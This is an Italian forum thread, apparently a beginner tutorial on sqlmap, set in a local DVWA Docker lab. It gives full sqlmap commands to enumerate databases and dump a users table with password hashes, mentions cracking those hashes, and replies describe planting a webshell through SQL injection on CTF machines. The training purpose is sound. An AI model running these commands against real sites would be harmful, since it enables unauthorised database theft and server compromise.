Guida Tool SQLmap – Le basi (per principianti)

monnezzza

Utente Silver
11 Marzo 2021
119
23
52
86
Ultima modifica:
Cos’è SQLmap?

Allora iniziamo col dire che cos’è sqlmap: sqlmap è un tool usato nell’ambito del penetration testing, creato apposta per exploitare in maniera automatizzata e veloce le sql injections.
Le sql injections sono degli attacchi che permettono di interagire con un database senza dover inserire le credenziali di accesso.

Perchè imparare SQLmap?

Secondo me imparare ad usare sqlmap è un buon investimento del proprio tempo perchè questo tool aiuta tantissimo ad automatizzare operazioni come capire che permessi ha l’utente mysql che interagisce col database, che se fatto manualmente è un’ operazione abbastanza complessa la quale richiede molto tempo. Invece con sqlmap riusciamo ad effettuarla in pochi secondi.
Questo è solo un esempio delle molteplici cose che si possono fare con questo fantastico tool.

Cosa serve per seguire questo corso?

Per seguire questo corso bisogna sapere come eseguire delle sql injections e come funzionano. Lascio un link ad una risorsa utile per approfondire questo argomento: https://www.cybersecurity360.it/nuo...la-tecnica-di-hacking-delle-applicazioni-web/
Bisogna conoscere le basi del linguaggio sql. Insomma capire cos’è una query sql.
Come ultima cosa bisogna sapere come funzionano più o meno i “tipi” di database più comuni come mysql, MariaDB (un fork di mysql), MongoDB ed SQLite.

Creare il proprio lab

In questa sezione inizieremo a creare il nostro laboratorio virtuale dove potremo esercitarci.
Come software per la virtualizzazione useremo virtualbox e come os useremo kali linux (una famosa distro piena di tool per il penetration testing)

Se siete su windows seguite questo semplice tutorial su come installare kali su virtualbox.


Vedi: https://www.youtube.com/watch?v=TnC4PlMz5-E


Mentre se siete su una distribuzione linux usate il vostro package manager per scaricare virtualbox.
Se siete su debian based:
Bash:
sudo apt install virtualbox
Se siete su arch o derivate:
Bash:
sudo pacman -S virtualbox


Poi andate sul sito https://kali.org e cliccate su Download.

image.png

Poi cliccate su virtual machines

image-1-1024x499.png

Cliccate sul bottone con la freccia in giù su virtualbox

image-2.png

Basta cliccare sul file appena scaricato e si aprirà una finestra basterà cliccare su importa e acettare i termini di utilizzo e la macchina virtuale è pronta per essere avviata.
Adesso bisogna cliccare sul pulsante avvia e la macchina virtuale partira.
Nella schermata di login le crendenziali sono kali:kali.

Apriamo un terminale e digitiamo questi comandi.

Bash:
sudo apt update && sudo apt upgrade && sudo apt install docker.io
sudo usermod -aG docker $USER

Dopo aver dato questi comandi dobbiamo fare il log out e riloggarci poi riapriamo il terminale e digitiamo

Bash:
docker pull vulnerables/web-dvwa
docker run -it -p 8000:80 vulnerables/web-dvwa

Exploitation


Apriamo il browser e andiamo andare all’indirizzo http://127.0.0.1:8000
Come credenziali inseriamo admin:password
L’applicazione dopo alcuni secondi ci presenterà di nuovo il login perchè deve creare il database.
Andiamo nella sezione sql injection

image-3.png

e inseriamo il parametro 1 dentro alla stringa.
e poi prendiamo i cookie dai developer tools.

image-4-1024x435.png


E poi digitiamo sqlmap –cookie per inserire i cookie che abbiamo appena preso per autenticarci nella web app e -u per l’url vulnerabile a sql injcection

Bash:
sqlmap  --cookie="PHPSESSID=1708kvtdf5i39nrgbvot40dtv1; security=low" -u "http://127.0.0.1:8000/vulnerabilities/sqli/?id=1&Submit=Submit#"


Diamo invio e otteniamo questo output

image-5-1024x417.png

Per enumerare i database tutti i database aggiungiamo il parametro –dbs

Bash:
sqlmap  --cookie="PHPSESSID=1708kvtdf5i39nrgbvot40dtv1; security=low" -u "http://127.0.0.1:8000/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs

E cosi otteniamo come output 2 database

image-6.png

Per vedere cosa c’è all’interno del database dvwa usiamo il parametro “-D dvwa” per selezionarlo e –tables per vedre tutte le tabelle al suo interno.

Bash:
sqlmap  --cookie="PHPSESSID=1708kvtdf5i39nrgbvot40dtv1; security=low" -u "http://127.0.0.1:8000/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables

E otteniamo 2 tabelle: guestbook e users

image-7.png

Per vedere cosa c’è all’interno della tabella users usiamo “-T users” e poi –dump per far vedere a schermo il suo contenuto.

Bash:
sqlmap  --cookie="PHPSESSID=1708kvtdf5i39nrgbvot40dtv1; security=low" -u "http://127.0.0.1:8000/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --dump

E otteniamo questo risultato.

image-8-1024x138.png

E cosi siamo riusciti ad ottenere tutti gli utenti dell’applicazione dvwa e anche le loro password hashate che potremo craccare in seguito con programmi come JohnTheRipper o hashcat.

Conclusioni

Queste sono solo le cose base che si possono fare con questo fantastico tool. Spero di avervi aiutato ad imparare le basi di sqlmap. Io vi ingoraggerei molto ad approfondire questo tool usandolo e sperimentando.

Grazie per essere stati con me in questa lettura.

Alla prossima.
 
Bella guida! Sono d'accordo con te, sqlmap è un ottimo tool e investire del tempo nell'imparare a usarlo è senza ombra di dubbio un'ottima scelta. Sqlmap è uno dei tools più usati anche in ambiente lavorativo perché permette di guadagnare un sacco di tempo durante la ricerca di SQL Injection.

L'unico appunto (e consiglio) che mi sento di fare è: non lanciate questo tool "a caso", ma cercate sempre prima di fare dei test manuali e di "tunare" il tool prima di lanciarlo. Sqlmap è estremamente rumoroso e genera moltissimo traffico, inoltre potrebbe anche far crashare il server, per cui prima di lanciarlo cercate SEMPRE di fare prima dei test manuali, per evitare danni e potenziali falsi positivi.
 
Questo è vero prendiamo validation su htb l'exploitation iniziale è di una sql injection e sqlmap non aveva trovato niente e ho fatto tutto manualmente ovvero scrivere con outfile una semplice webshell in /var/www/html/emu.php
 
  • Love
Reazioni: 0xbro
La guida è molto chiara, la sto rileggendo in quanto sto cercando di risolvere la room Olympus di THM che prevede di effettuare una sql injection su una casella di ricerca.
Non capisco però come riuscire ad usare in maniera corretta sqlmap in quanto i parametri inseriti nella textbox non vengono passati nell'url.
Se lancio il comando sqlmap olympus.thm/~webmaster/includes/login.php
Vedo che mi trova le informazioni del db:
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.28-0ubuntu0.20.04.3'
current user: 'phpmyadmin@localhost'
current database: 'olympus'
current user is DBA: False

e il payload (che provo a inserire nella casella di ricerca ma non funziona)

Poi ho provato anche a passare un file .txt con una richiesta http intercettata tramite burp (nella quale inserivo 'or 1'='1' nella casella vulnerabile) e mi restituisce risultati diversi: non mi trova current user, current db e mi restituisce payload diversi.